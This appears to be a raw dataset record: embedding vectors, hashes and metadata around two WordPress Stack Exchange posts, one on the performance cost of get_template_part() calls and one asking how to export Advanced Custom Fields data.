0.039764404296875,
0.0037326812744140625,
0.0416259765625,
-0.0261077880859375,
0.07171630859375,
0.01306915283203125,
-0.050201416015625,
0.04876708984375,
-0.0287628173828125,
-0.0119781494140625,
0.009246826171875,
-0.023895263671875,
-0.059844970703125,
0.02166748046875,
0.0179901123046875,
0.0148162841796875,
0.03216552734375
] |
031172534991979645d7f3009a4043b7ba934bb7
|
Wordpress Stackexchange
Q: Too many get_template_parts? For a lot of my site I'm using get_template_part mostly because I had coded most of it in html/css first and it just seemed easier to call each part as I saw fit.
My question is, basically, will this have a noticeable impact on performance? If I'm calling in say 3 or 4 template parts. How many would you say is too many, if I was only bringing in little snippets.
Help appreciated.
A: 3 or 4 get_template_parts calls are not going to make any noticeable impact on performance whatsoever. You'd probably have to get into the hundreds before perceiving any issue (if then).
|
Q: Too many get_template_parts? For a lot of my site I'm using get_template_part mostly because I had coded most of it in html/css first and it just seemed easier to call each part as I saw fit.
My question is, basically, will this have a noticeable impact on performance? If I'm calling in say 3 or 4 template parts. How many would you say is too many, if I was only bringing in little snippets.
Help appreciated.
A: 3 or 4 get_template_parts calls are not going to make any noticeable impact on performance whatsoever. You'd probably have to get into the hundreds before perceiving any issue (if then).
A: In my opinion three or four calls of get_template_part() is perfectly acceptable and even within the norm for some of the larger and more complex themes out there.
I don't know how many is too many but I think it would have to be a pretty large number to notice a hit in performance.
A Deeper Look
get_template_part() calls locate_template().
locate_template() uses a foreach() loop to run file_exists() against your theme directory.
Performance of file_exists()
According to this post about the performance of file_exists(), PHP automatically caches the results of the function to improve performance. Overall it is considered to be rather fast.
Performance of foreach()
This post about the performance of foreach() vs for() concludes that generally there is little discernible difference between the two. However, it doesn't directly address the performance of foreach() on its own. For that, this post on how foreach() really works dives deep into the function. It states the following.
1.foreach() can be slow because it has to copy the array but in most cases usually isn't.
2.foreach() is usually transparent in its behavior.
3.foreach() can behave strangely if the array is modified within the loop.
In summary
It would appear that a call to get_template_part() should be relatively quick. A loop within locate_template() must be used and foreach() appears to be as good a tool for the job as any other. file_exists() will then cache its results. The only direct control we have over the performance of get_template_part() is the number of files within the template directory.
Unless you have hundreds of template files to look through or are making an equally silly number of calls to get_template_part() the change in your site's performance should be negligible.
|
wordpress
|
{
"language": "en",
"length": 393,
"provenance": "stackexchange_00019.jsonl.gz:436061",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110927"
}
|
[
-0.00508880615234375,
0.0022029876708984375,
-0.02850341796875,
-0.03057861328125,
-0.001079559326171875,
-0.0161285400390625,
-0.00339508056640625,
0.01448822021484375,
-0.03363037109375,
0.0227813720703125,
-0.0099945068359375,
-0.018218994140625,
-0.0191192626953125,
-0.0207672119140625,
-0.007007598876953125,
-0.04095458984375,
0.06671142578125,
-0.040802001953125,
0.020416259765625,
0.0000718832015991211,
0.009368896484375,
0.039093017578125,
0.01525115966796875,
0.10833740234375,
0.0281524658203125,
-0.10150146484375,
-0.01200103759765625,
-0.00084686279296875,
-0.01568603515625,
-0.04779052734375,
0.0114898681640625,
0.0882568359375,
0.0203704833984375,
0.0275421142578125,
-0.033111572265625,
0.01282501220703125,
0.012908935546875,
0.006542205810546875,
0.00244903564453125,
0.026763916015625,
0.0118408203125,
-0.01751708984375,
0.03875732421875,
-0.0297698974609375,
0.00238037109375,
0.0102996826171875,
-0.0025653839111328125,
-0.05291748046875,
-0.01456451416015625,
-0.0640869140625,
0.038970947265625,
-0.0254669189453125,
0.06561279296875,
0.0024356842041015625,
-0.03521728515625,
-0.0111846923828125,
0.0181884765625,
0.03765869140625,
0.049560546875,
-0.03961181640625,
-0.06634521484375,
-0.007198333740234375,
0.0281982421875,
-0.025848388671875,
-0.0251922607421875,
0.0196380615234375,
-0.02545166015625,
0.0017719268798828125,
0.0225372314453125,
-0.029815673828125,
-0.01013946533203125,
-0.02142333984375,
-0.005157470703125,
-0.042022705078125,
0.022186279296875,
0.00719451904296875,
0.0013484954833984375,
-0.02166748046875,
-0.0174102783203125,
0.041015625,
-0.0137176513671875,
0.005603790283203125,
-0.05633544921875,
-0.0438232421875,
0.038543701171875,
-0.01070404052734375,
-0.018646240234375,
-0.017364501953125,
-0.026519775390625,
-0.0213775634765625,
-0.0193634033203125,
-0.062347412109375,
0.00714111328125,
0.0034046173095703125,
-0.004543304443359375,
-0.043975830078125,
0.0113372802734375,
0.01506805419921875,
-0.01293182373046875,
-0.0095367431640625,
0.020355224609375,
-0.036773681640625,
0.026458740234375,
-0.0135955810546875,
0.0197296142578125,
0.0187835693359375,
-0.0092315673828125,
0.059844970703125,
0.07366943359375,
0.0306854248046875,
0.005290985107421875,
0.052734375,
0.0157318115234375,
-0.01560211181640625,
-0.028564453125,
-0.0025577545166015625,
-0.0107421875,
-0.036529541015625,
-0.0007333755493164062,
-0.053741455078125,
0.018218994140625,
0.0230865478515625,
0.0268707275390625,
-0.011749267578125,
-0.016937255859375,
0.0029277801513671875,
-0.0279083251953125,
-0.04083251953125,
-0.0279388427734375,
0.041595458984375,
0.00695037841796875,
0.0222625732421875,
-0.0406494140625,
-0.021392822265625,
-0.05908203125,
-0.0016498565673828125,
0.0043792724609375,
-0.0289306640625,
0.0019626617431640625,
0.01424407958984375,
-0.023284912109375,
-0.04656982421875,
0.007801055908203125,
-0.0051727294921875,
0.017578125,
-0.0261383056640625,
0.0186920166015625,
0.02557373046875,
0.00997161865234375,
0.026702880859375,
0.004810333251953125,
0.01418304443359375,
0.00380706787109375,
-0.00475311279296875,
-0.0020618438720703125,
-0.04833984375,
-0.07940673828125,
0.0011768341064453125,
0.061370849609375,
0.0097808837890625,
0.008880615234375,
-0.018951416015625,
0.0179901123046875,
-0.02734375,
-0.0243988037109375,
0.0034885406494140625,
-0.0212554931640625,
-0.003284454345703125,
0.016204833984375,
-0.000453948974609375,
-0.00971221923828125,
-0.054229736328125,
0.0428466796875,
0.012786865234375,
-0.009674072265625,
0.0469970703125,
0.01187896728515625,
0.0304107666015625,
0.020965576171875,
-0.00698089599609375,
-0.02545166015625,
-0.045928955078125,
0.08880615234375,
-0.045745849609375,
-0.07305908203125,
0.056060791015625,
-0.016204833984375,
0.06414794921875,
0.033966064453125,
-0.00650787353515625,
0.039825439453125,
-0.003948211669921875,
0.003490447998046875,
-0.0041351318359375,
0.01020050048828125,
-0.0241851806640625,
0.0022220611572265625,
0.00742340087890625,
-0.00011724233627319336,
-0.0299835205078125,
0.014190673828125,
0.00861358642578125,
0.005283355712890625,
0.0015106201171875,
0.00402069091796875,
-0.010284423828125,
0.006069183349609375,
0.0015687942504882812,
-0.03955078125,
0.034423828125,
0.04315185546875,
0.017181396484375,
-0.06646728515625,
0.039459228515625,
0.0199737548828125,
-0.00971221923828125,
-0.01093292236328125,
-0.0294189453125,
-0.0028839111328125,
0.01251983642578125,
0.034423828125,
0.0042572021484375,
0.0014848709106445312,
0.04656982421875,
0.0031147003173828125,
0.037139892578125,
-0.02880859375,
0.01432037353515625,
-0.03875732421875,
0.04827880859375,
-0.0653076171875,
0.00829315185546875,
0.04913330078125,
0.072021484375,
0.0136566162109375,
0.0181732177734375,
0.01611328125,
-0.035675048828125,
-0.016204833984375,
0.01380157470703125,
0.03955078125,
0.007701873779296875,
-0.0069427490234375,
-0.0236663818359375,
0.050018310546875,
-0.07025146484375,
-0.01479339599609375,
0.00015032291412353516,
0.01763916015625,
0.0174713134765625,
-0.0241851806640625,
-0.020355224609375,
0.030242919921875,
-0.050201416015625,
0.01253509521484375,
0.03900146484375,
-0.0113677978515625,
0.007732391357421875,
-0.0110626220703125,
-0.003875732421875,
0.009307861328125,
0.027313232421875,
-0.00626373291015625,
0.00589752197265625,
-0.0015621185302734375,
0.0200958251953125,
0.01251220703125,
-0.007244110107421875,
-0.020721435546875,
0.0310821533203125,
-0.0015020370483398438,
-0.052642822265625,
0.006664276123046875,
-0.00499725341796875,
-0.02911376953125,
-0.0305023193359375,
0.0033779144287109375,
0.01213836669921875,
-0.0022525787353515625,
-0.0247802734375,
-0.0160369873046875,
0.028656005859375,
-0.04632568359375,
-0.022125244140625,
-0.0146636962890625,
-0.038818359375,
-0.026947021484375,
-0.00696563720703125,
0.036376953125,
0.0109100341796875,
0.028411865234375,
0.01824951171875,
-0.0159912109375,
0.040435791015625,
-0.0008025169372558594,
-0.0206298828125,
0.065185546875,
-0.01155853271484375,
0.0106353759765625,
-0.004825592041015625,
0.023895263671875,
0.0204315185546875,
-0.0247650146484375,
-0.003936767578125,
-0.0004532337188720703,
0.040618896484375,
0.047149658203125,
-0.021697998046875,
-0.0255279541015625,
0.00397491455078125,
-0.0517578125,
-0.0020694732666015625,
0.0213470458984375,
0.0797119140625,
-0.0210418701171875,
-0.06390380859375,
0.006317138671875,
0.030914306640625,
-0.0660400390625,
-0.057708740234375,
0.054962158203125,
-0.0404052734375,
-0.0175323486328125,
-0.033966064453125,
-0.034393310546875,
-0.0150299072265625,
-0.021942138671875,
-0.00377655029296875,
0.0179901123046875,
-0.0112152099609375,
-0.03594970703125,
-0.0215301513671875,
-0.05157470703125,
0.012420654296875,
-0.00637054443359375,
0.01181793212890625,
-0.019561767578125,
0.1002197265625,
-0.02264404296875,
-0.0802001953125,
-0.06756591796875,
-0.045501708984375,
-0.0009946823120117188,
0.007709503173828125,
0.004657745361328125,
-0.01371002197265625,
-0.02032470703125,
0.0093231201171875,
-0.0740966796875,
-0.002483367919921875,
0.014251708984375,
-0.029998779296875,
-0.01132965087890625,
-0.017974853515625,
0.03411865234375,
0.036224365234375,
-0.0139312744140625,
0.0108795166015625,
0.061492919921875,
-0.0269317626953125,
-0.027679443359375,
-0.004268646240234375,
-0.0469970703125,
-0.00434112548828125,
0.040557861328125,
-0.02032470703125,
-0.01238250732421875,
-0.032012939453125,
0.0277557373046875,
0.0185546875,
-0.0396728515625,
-0.00696563720703125,
0.0516357421875,
0.015716552734375,
0.0560302734375,
-0.0016183853149414062,
-0.01158905029296875,
-0.031585693359375,
-0.030975341796875,
-0.025726318359375,
-0.007373809814453125,
-0.021942138671875,
0.0023822784423828125,
-0.002529144287109375,
-0.031463623046875,
0.05963134765625,
0.02301025390625,
0.0162200927734375,
-0.0491943359375,
-0.046417236328125,
-0.0260467529296875,
0.08392333984375,
-0.006725311279296875,
-0.0252227783203125,
-0.033477783203125,
0.0241546630859375,
-0.062744140625,
-0.0765380859375,
-0.0167694091796875,
0.01041412353515625,
0.024139404296875,
-0.00982666015625,
-0.0027484893798828125,
-0.01556396484375,
-0.01296234130859375,
0.01241302490234375,
-0.008880615234375,
0.0003883838653564453,
-0.01110076904296875,
0.0250244140625,
0.005126953125,
-0.0076446533203125,
0.01168060302734375,
-0.0238494873046875,
0.0266876220703125,
-0.038970947265625,
-0.04022216796875,
-0.025787353515625,
-0.0089263916015625,
0.0709228515625,
0.02655029296875,
-0.03387451171875,
0.005481719970703125,
0.07159423828125,
0.00524139404296875,
0.025909423828125,
0.01140594482421875,
0.01322174072265625,
-0.01128387451171875,
0.01209259033203125,
0.0299224853515625,
-0.018951416015625,
-0.01161956787109375,
-0.0318603515625,
-0.058502197265625,
-0.0285491943359375,
-0.0176239013671875,
0.0260009765625,
0.00954437255859375,
-0.0199127197265625,
-0.0102081298828125,
-0.006633758544921875,
-0.0071258544921875,
-0.0023345947265625,
0.025390625,
-0.046417236328125,
0.0037097930908203125,
-0.006397247314453125,
0.0305633544921875,
0.0272216796875,
-0.005588531494140625,
-0.0008854866027832031,
0.038360595703125,
0.0186004638671875,
-0.0291748046875,
0.00844573974609375,
0.007472991943359375,
0.035400390625,
0.007175445556640625,
-0.0158538818359375,
-0.0116424560546875,
-0.0592041015625,
0.07513427734375,
0.002552032470703125,
-0.004421234130859375,
0.0276031494140625,
0.0035400390625,
0.004131317138671875,
-0.024078369140625,
0.0057220458984375,
0.00896453857421875,
-0.0251007080078125,
0.05010986328125,
-0.00864410400390625,
-0.03369140625,
-0.007701873779296875,
0.06854248046875,
-0.019683837890625,
0.006534576416015625,
-0.070068359375,
-0.0435791015625,
0.0094757080078125,
0.05078125,
-0.0029850006103515625,
0.0008745193481445312,
0.01123809814453125,
0.0083160400390625,
-0.0010404586791992188,
-0.0129852294921875,
0.023040771484375,
0.00257110595703125,
-0.00904083251953125,
0.0176239013671875,
0.00890350341796875,
-0.0172576904296875,
0.005184173583984375,
-0.004119873046875,
0.0171966552734375,
-0.0008831024169921875,
-0.040679931640625,
-0.002620697021484375,
-0.01143646240234375,
-0.03521728515625,
0.01085662841796875,
-0.0173492431640625,
0.035614013671875,
0.01512908935546875,
-0.0258331298828125,
-0.004329681396484375,
-0.0241546630859375,
-0.0355224609375,
-0.045928955078125,
0.0281829833984375,
0.03192138671875,
-0.026885986328125,
0.03521728515625,
-0.045684814453125,
0.031890869140625,
-0.04351806640625,
-0.0005064010620117188,
0.01280975341796875,
-0.01261138916015625,
0.01019287109375,
0.011474609375,
0.01219940185546875,
0.0221099853515625,
-0.034088134765625,
0.035614013671875,
-0.033447265625,
-0.004669189453125,
0.01654052734375,
0.0733642578125,
-0.024688720703125,
-0.040496826171875,
0.004428863525390625,
-0.0716552734375,
-0.00981903076171875,
0.037109375,
0.0007214546203613281,
-0.049896240234375,
-0.0178985595703125,
0.0316162109375,
0.03253173828125,
-0.0236663818359375,
0.00021851062774658203,
0.0174407958984375,
0.0258941650390625,
0.01413726806640625,
0.007595062255859375,
-0.0462646484375,
0.00537872314453125,
0.032806396484375,
-0.047943115234375,
-0.007167816162109375,
0.009033203125,
-0.09912109375,
-0.058441162109375,
0.007175445556640625,
0.00482940673828125,
0.0264129638671875,
-0.028564453125,
0.0025501251220703125,
0.005542755126953125,
-0.01317596435546875,
0.00878143310546875,
0.0404052734375,
-0.022796630859375,
-0.019989013671875,
-0.0285797119140625,
-0.0197906494140625,
-0.0655517578125,
-0.0153350830078125,
-0.09259033203125,
-0.060150146484375,
-0.0180511474609375,
0.0300445556640625,
-0.0217132568359375,
0.00054168701171875,
0.01727294921875,
0.048675537109375,
0.003337860107421875,
0.04266357421875,
-0.022613525390625,
0.0157318115234375,
-0.00946807861328125,
0.03436279296875,
0.004329681396484375,
-0.001987457275390625,
-0.005950927734375,
0.00826263427734375,
0.006961822509765625,
-0.00701141357421875,
0.021453857421875,
-0.024658203125,
-0.007587432861328125,
-0.03765869140625,
-0.0029926300048828125,
-0.014739990234375,
0.01219940185546875,
-0.005168914794921875,
0.02630615234375,
-0.03887939453125,
0.01194000244140625,
-0.01503753662109375,
0.0579833984375,
-0.068115234375,
0.0081939697265625,
0.0159912109375,
0.025787353515625,
0.0029125213623046875,
-0.030517578125,
-0.065185546875,
0.04107666015625,
0.043670654296875,
0.0055084228515625,
-0.048858642578125,
0.02520751953125,
0.0170440673828125,
0.00995635986328125,
-0.0426025390625,
0.0234222412109375,
-0.0002868175506591797,
0.01123809814453125,
0.024688720703125,
0.048492431640625,
0.0268402099609375,
-0.013427734375,
0.0408935546875,
-0.0181732177734375,
-0.00872039794921875,
-0.0196990966796875,
-0.038360595703125,
0.017547607421875,
0.05218505859375,
0.0540771484375,
-0.0869140625,
0.0016202926635742188,
-0.01364898681640625,
-0.004032135009765625,
0.0235137939453125,
-0.0230712890625,
-0.01788330078125,
-0.08526611328125,
0.10260009765625,
0.0335693359375,
0.00528717041015625,
0.0306549072265625,
-0.0309295654296875,
-0.0191192626953125,
0.004413604736328125,
0.060333251953125,
0.0204315185546875,
-0.01506805419921875,
0.01534271240234375,
-0.009490966796875,
0.0175018310546875,
-0.0270233154296875,
0.009521484375,
0.0039825439453125,
-0.01483154296875,
-0.0163726806640625,
0.0377197265625,
-0.032012939453125,
0.01021575927734375,
0.01540374755859375,
0.0159912109375,
-0.003997802734375,
0.056732177734375,
-0.02789306640625,
0.05902099609375,
0.005046844482421875,
-0.019683837890625,
-0.0288238525390625,
0.0031909942626953125,
-0.00016224384307861328,
0.033172607421875,
-0.0136260986328125,
0.01458740234375,
-0.024810791015625,
0.01153564453125,
-0.01265716552734375,
0.0247802734375,
0.04962158203125,
0.02008056640625,
-0.0394287109375,
0.0606689453125,
0.00795745849609375,
-0.06610107421875,
-0.006824493408203125,
-0.0236053466796875,
-0.0271148681640625,
-0.0005350112915039062,
-0.00970458984375,
-0.026458740234375,
0.0196533203125,
-0.0003993511199951172,
-0.0550537109375,
0.081298828125,
0.031890869140625,
0.035980224609375,
0.0218963623046875,
0.0296783447265625,
-0.044677734375,
-0.004756927490234375,
-0.0295867919921875,
0.022735595703125,
0.044036865234375,
0.00917816162109375,
-0.0019588470458984375,
0.0037384033203125,
0.015960693359375,
0.005802154541015625,
0.0162506103515625,
-0.00257110595703125,
0.00989532470703125,
-0.0108184814453125,
0.0206451416015625,
0.059173583984375,
0.0174407958984375,
-0.014007568359375,
-0.009033203125,
0.0382080078125,
0.04522705078125,
-0.02142333984375,
0.020538330078125,
0.039398193359375,
-0.0369873046875,
0.033905029296875,
-0.0181121826171875,
-0.0309295654296875,
-0.0134124755859375,
-0.00518035888671875,
-0.0252532958984375,
-0.0162506103515625,
0.0112457275390625,
-0.01451873779296875,
0.0086822509765625,
-0.01373291015625,
-0.007709503173828125,
-0.05718994140625,
0.01250457763671875,
-0.0193634033203125,
0.02789306640625,
-0.008453369140625,
0.03375244140625,
0.0009589195251464844,
0.00267791748046875,
0.05194091796875,
0.0144805908203125,
0.00876617431640625,
0.0282440185546875,
0.00525665283203125,
0.0548095703125,
-0.00629425048828125,
0.0322265625,
-0.0328369140625,
0.0016918182373046875,
-0.0159149169921875,
0.0445556640625,
-0.0289764404296875,
0.01861572265625,
0.02557373046875,
0.022674560546875,
-0.01287841796875,
-0.00785064697265625,
0.034210205078125,
0.01226043701171875,
0.00615692138671875,
-0.0188140869140625,
-0.04022216796875,
-0.0186614990234375,
-0.0026092529296875,
-0.01032257080078125,
-0.01009368896484375,
0.05810546875,
-0.020782470703125,
-0.00930023193359375,
0.0226593017578125,
-0.006816864013671875,
0.023681640625,
0.01203155517578125,
0.0233001708984375,
-0.03924560546875,
-0.015838623046875,
0.00885772705078125,
0.027099609375,
-0.00450897216796875,
-0.0254058837890625,
0.0283355712890625,
-0.02069091796875,
-0.04302978515625,
0.002658843994140625,
0.037628173828125,
-0.01456451416015625,
0.0166778564453125,
0.0193634033203125,
-0.01047515869140625,
0.0024509429931640625,
0.0230865478515625,
-0.00656890869140625,
0.043426513671875,
-0.0745849609375,
-0.0007166862487792969,
-0.03619384765625,
-0.0278778076171875,
-0.01959228515625,
-0.06298828125,
0.043914794921875,
-0.00005841255187988281,
-0.006069183349609375,
0.01433563232421875,
-0.0148468017578125,
0.0311431884765625,
-0.00795745849609375,
-0.00890350341796875,
0.0220794677734375,
-0.013275146484375,
0.02410888671875,
-0.026885986328125,
-0.034698486328125,
-0.00887298583984375,
0.0088348388671875,
-0.0362548828125,
0.05621337890625,
0.0032749176025390625,
0.00519561767578125,
-0.001377105712890625,
-0.0057373046875,
0.008209228515625,
0.006862640380859375,
0.034515380859375,
0.009368896484375,
-0.04400634765625,
-0.0222930908203125,
-0.040802001953125,
0.0435791015625,
-0.002925872802734375,
0.0941162109375,
-0.0235443115234375,
0.0263519287109375,
0.07763671875,
-0.02044677734375,
0.080810546875,
0.07940673828125,
-0.0126953125,
0.0146026611328125,
0.00164031982421875,
-0.06005859375,
-0.034942626953125,
0.0031490325927734375,
0.05035400390625,
-0.0172271728515625,
0.022674560546875,
0.00008094310760498047,
0.0191192626953125,
-0.026031494140625,
0.0106353759765625,
-0.02655029296875,
-0.025390625,
-0.044403076171875,
-0.017486572265625,
0.0311737060546875,
0.0198822021484375,
-0.015777587890625,
0.02557373046875,
0.023651123046875,
-0.0099639892578125,
0.0267791748046875,
-0.00446319580078125,
0.03692626953125,
0.0290985107421875,
-0.025482177734375,
-0.0161590576171875,
-0.03753662109375,
-0.03564453125,
-0.0023479461669921875,
-0.00760650634765625,
0.0001583099365234375,
-0.018310546875,
-0.015106201171875,
0.01259613037109375,
0.0289459228515625,
0.027587890625,
-0.01654052734375,
0.0005273818969726562,
0.010772705078125,
-0.0074920654296875,
0.0259246826171875,
0.05377197265625,
0.0097198486328125,
-0.0015239715576171875,
-0.035003662109375,
-0.020843505859375,
-0.004497528076171875,
-0.0220794677734375,
0.0217742919921875,
-0.0217437744140625,
0.0120849609375,
0.0030059814453125,
-0.010894775390625,
0.01253509521484375,
-0.0024433135986328125,
-0.035858154296875,
-0.00390625,
-0.03240966796875,
0.0299072265625,
0.048431396484375,
-0.03521728515625,
0.0121002197265625,
-0.0169830322265625,
-0.039276123046875,
-0.0006995201110839844,
0.0401611328125,
0.0849609375,
-0.0250244140625,
-0.0145263671875,
0.04962158203125,
0.02398681640625,
0.087158203125,
-0.07354736328125,
0.0036220550537109375,
0.039642333984375,
-0.005886077880859375,
-0.03497314453125,
-0.06109619140625,
-0.00652313232421875,
-0.0239715576171875,
-0.004047393798828125,
-0.0035343170166015625,
0.0237884521484375,
0.0294036865234375,
-0.023834228515625,
-0.07086181640625,
0.04241943359375,
-0.0201873779296875,
-0.0273590087890625,
-0.05010986328125,
-0.031463623046875,
0.00399017333984375,
0.0117645263671875,
-0.030120849609375,
0.0016384124755859375,
-0.061553955078125,
0.03314208984375,
0.02392578125,
-0.010009765625,
0.058441162109375,
-0.0004279613494873047,
-0.05084228515625,
0.007579803466796875,
0.00032258033752441406,
0.0025119781494140625,
-0.064208984375,
0.0249481201171875,
0.00909423828125,
0.030609130859375,
-0.01220703125,
0.0167236328125,
0.030181884765625,
0.037872314453125,
-0.01143646240234375,
0.004283905029296875,
-0.026275634765625,
0.0012388229370117188,
0.06610107421875,
0.06610107421875,
0.007404327392578125,
-0.034759521484375,
0.04400634765625,
0.01372528076171875,
-0.045196533203125,
-0.022125244140625,
0.0325927734375,
-0.052978515625,
-0.0367431640625,
-0.014862060546875,
-0.003871917724609375,
0.01763916015625,
-0.043304443359375,
-0.020355224609375,
0.00392913818359375,
-0.0214691162109375,
0.004222869873046875,
-0.0312347412109375,
0.027587890625,
-0.03289794921875,
0.009246826171875,
-0.020172119140625,
-0.035919189453125,
0.0014524459838867188,
-0.047210693359375,
-0.006526947021484375,
0.00079345703125,
0.01050567626953125,
-0.056671142578125,
0.030853271484375,
-0.01534271240234375,
0.0243377685546875,
-0.049163818359375,
-0.0194244384765625,
-0.007526397705078125,
0.01145172119140625,
0.0008707046508789062,
-0.012115478515625,
-0.01493072509765625,
0.0421142578125,
-0.005550384521484375,
0.0467529296875,
-0.0178985595703125,
0.11767578125,
0.025421142578125,
0.004032135009765625,
-0.0113677978515625,
0.016143798828125,
0.029205322265625,
-0.04425048828125,
-0.0017633438110351562,
0.0109100341796875,
-0.034698486328125,
-0.027801513671875,
0.03399658203125,
-0.0789794921875,
-0.0113525390625,
0.008331298828125
] |
e3efe5c9ba8947cd3080a03738997bb99c6d7718
|
Wordpress Stackexchange
Q: Is there a way to export Advanced Custom Fields data? I've entered data into ACF using the ACF Options plugin. Is there a way to export all that data I entered? When I use ACF's built in exporter, it only exports the structure. Maybe I'm missing something obvious.
|
Q: Is there a way to export Advanced Custom Fields data? I've entered data into ACF using the ACF Options plugin. Is there a way to export all that data I entered? When I use ACF's built in exporter, it only exports the structure. Maybe I'm missing something obvious.
|
wordpress
|
{
"language": "en",
"length": 49,
"provenance": "stackexchange_00019.jsonl.gz:436063",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110930"
}
|
[
0.0193328857421875,
-0.0152435302734375,
0.00409698486328125,
-0.014801025390625,
-0.019439697265625,
-0.0202789306640625,
0.0068817138671875,
-0.00864410400390625,
-0.005489349365234375,
0.0015468597412109375,
0.0164031982421875,
0.0166015625,
-0.05126953125,
-0.0443115234375,
0.0024089813232421875,
-0.019439697265625,
0.0278167724609375,
0.01207733154296875,
0.00836181640625,
-0.01355743408203125,
0.00579071044921875,
0.0013790130615234375,
-0.0078277587890625,
0.052520751953125,
0.01212310791015625,
0.0384521484375,
-0.01593017578125,
0.03375244140625,
0.01238250732421875,
0.039886474609375,
0.02239990234375,
-0.06390380859375,
-0.0044403076171875,
0.04730224609375,
-0.0171356201171875,
-0.021453857421875,
0.01456451416015625,
0.00667572021484375,
-0.00036215782165527344,
0.044647216796875,
0.00954437255859375,
-0.0006036758422851562,
0.0171661376953125,
0.0484619140625,
-0.016143798828125,
-0.041168212890625,
0.024139404296875,
-0.0389404296875,
0.0252838134765625,
0.01506805419921875,
0.007724761962890625,
-0.006099700927734375,
0.00335693359375,
0.0239105224609375,
-0.0199432373046875,
-0.0311431884765625,
-0.00798797607421875,
0.02777099609375,
0.044708251953125,
-0.01486968994140625,
-0.051361083984375,
-0.0160064697265625,
0.0244903564453125,
-0.02862548828125,
0.0243072509765625,
-0.0081329345703125,
-0.0305633544921875,
0.00879669189453125,
-0.017852783203125,
0.04449462890625,
0.042694091796875,
-0.04034423828125,
0.00997161865234375,
0.01654052734375,
-0.0189056396484375,
-0.028289794921875,
0.0287933349609375,
0.0023193359375,
0.0161895751953125,
0.00986480712890625,
-0.040374755859375,
0.03411865234375,
-0.0684814453125,
-0.03228759765625,
-0.0091400146484375,
-0.0174713134765625,
-0.033905029296875,
-0.0118560791015625,
0.0455322265625,
0.01026153564453125,
0.01490020751953125,
0.0154876708984375,
-0.011016845703125,
0.07080078125,
-0.00012981891632080078,
-0.009033203125,
-0.0177764892578125,
-0.0232086181640625,
0.01367950439453125,
0.045135498046875,
0.00977325439453125,
-0.02655029296875,
0.044647216796875,
-0.01399993896484375,
-0.007259368896484375,
0.027923583984375,
-0.00033354759216308594,
-0.05926513671875,
-0.005035400390625,
0.0140228271484375,
-0.024932861328125,
-0.0110321044921875,
0.0294342041015625,
0.00408172607421875,
-0.00667572021484375,
0.00719451904296875,
0.00811004638671875,
0.0251922607421875,
-0.0217742919921875,
0.0426025390625,
-0.018157958984375,
0.004364013671875,
-0.0404052734375,
-0.0228118896484375,
-0.0169830322265625,
-0.05438232421875,
-0.0043792724609375,
0.0458984375,
-0.00962066650390625,
0.043548583984375,
-0.040069580078125,
-0.0152587890625,
0.04388427734375,
0.049560546875,
0.0169525146484375,
-0.0176239013671875,
0.031280517578125,
-0.028076171875,
0.01129913330078125,
0.0177459716796875,
0.003032684326171875,
-0.0380859375,
-0.0311126708984375,
0.01995849609375,
0.0085601806640625,
-0.0183258056640625,
0.01336669921875,
0.041961669921875,
-0.02362060546875,
-0.0391845703125,
0.040252685546875,
0.0046539306640625,
0.0266265869140625,
-0.005889892578125,
0.062744140625,
-0.01439666748046875,
0.064697265625,
-0.0278167724609375,
-0.00804901123046875,
-0.01099395751953125,
0.0170135498046875,
-0.0266876220703125,
-0.0258026123046875,
-0.0031223297119140625,
-0.0187530517578125,
0.02740478515625,
-0.019378662109375,
0.0002111196517944336,
0.0253143310546875,
-0.049530029296875,
0.022186279296875,
-0.0232696533203125,
0.01922607421875,
0.010833740234375,
0.01190948486328125,
0.047698974609375,
-0.03631591796875,
-0.03411865234375,
0.031219482421875,
0.01849365234375,
0.0156707763671875,
-0.0128936767578125,
-0.01140594482421875,
0.035614013671875,
-0.004482269287109375,
0.0186004638671875,
0.0035839080810546875,
0.04608154296875,
0.028076171875,
0.0216217041015625,
-0.046417236328125,
-0.018951416015625,
-0.01319122314453125,
0.01023101806640625,
-0.0264434814453125,
0.0104522705078125,
-0.0142364501953125,
0.0185394287109375,
-0.0244903564453125,
-0.0045166015625,
-0.04400634765625,
0.00785064697265625,
-0.0269622802734375,
0.0282440185546875,
0.0103302001953125,
-0.0283660888671875,
0.0160369873046875,
0.00684356689453125,
-0.0146942138671875,
0.0106658935546875,
0.0224151611328125,
0.006198883056640625,
-0.02825927734375,
-0.0020236968994140625,
-0.0024738311767578125,
0.0065765380859375,
0.033966064453125,
0.007419586181640625,
0.004169464111328125,
-0.01042938232421875,
-0.011932373046875,
-0.004505157470703125,
-0.0283660888671875,
0.0537109375,
-0.02337646484375,
-0.03143310546875,
0.003284454345703125,
-0.0207672119140625,
-0.021759033203125,
-0.0218963623046875,
0.04571533203125,
0.043701171875,
0.01021575927734375,
0.0135498046875,
-0.0305938720703125,
-0.0186004638671875,
-0.0280914306640625,
-0.0655517578125,
0.0190887451171875,
0.056304931640625,
0.023651123046875,
0.01215362548828125,
-0.0248260498046875,
0.00786590576171875,
0.090087890625,
0.05078125,
0.024139404296875,
-0.006023406982421875,
0.0172271728515625,
0.04779052734375,
-0.02923583984375,
-0.01061248779296875,
0.00952911376953125,
-0.03875732421875,
-0.0015888214111328125,
0.042236328125,
-0.04083251953125,
-0.048126220703125,
-0.0033969879150390625,
0.011688232421875,
0.00785064697265625,
-0.0146026611328125,
-0.0087738037109375,
-0.01239013671875,
0.0447998046875,
0.0175628662109375,
0.041015625,
0.028167724609375,
-0.03289794921875,
0.0214691162109375,
0.009246826171875,
0.02984619140625,
-0.00005310773849487305,
0.042236328125,
0.01311492919921875,
0.0390625,
-0.0272216796875,
-0.0225067138671875,
-0.002178192138671875,
0.03350830078125,
0.0016756057739257812,
0.028533935546875,
0.0160675048828125,
-0.01036834716796875,
0.0181884765625,
-0.0035495758056640625,
0.0195770263671875,
-0.0110931396484375,
-0.0445556640625,
0.0027256011962890625,
0.033111572265625,
0.01338958740234375,
0.0024547576904296875,
-0.011688232421875,
-0.027679443359375,
-0.00458526611328125,
0.0111083984375,
-0.051177978515625,
0.03192138671875,
-0.041961669921875,
0.03955078125,
0.060882568359375,
-0.009368896484375,
0.006252288818359375,
-0.0262603759765625,
-0.00954437255859375,
-0.005275726318359375,
0.00789642333984375,
-0.02081298828125,
-0.0714111328125,
-0.0352783203125,
-0.041046142578125,
0.0282440185546875,
0.1141357421875,
-0.042144775390625,
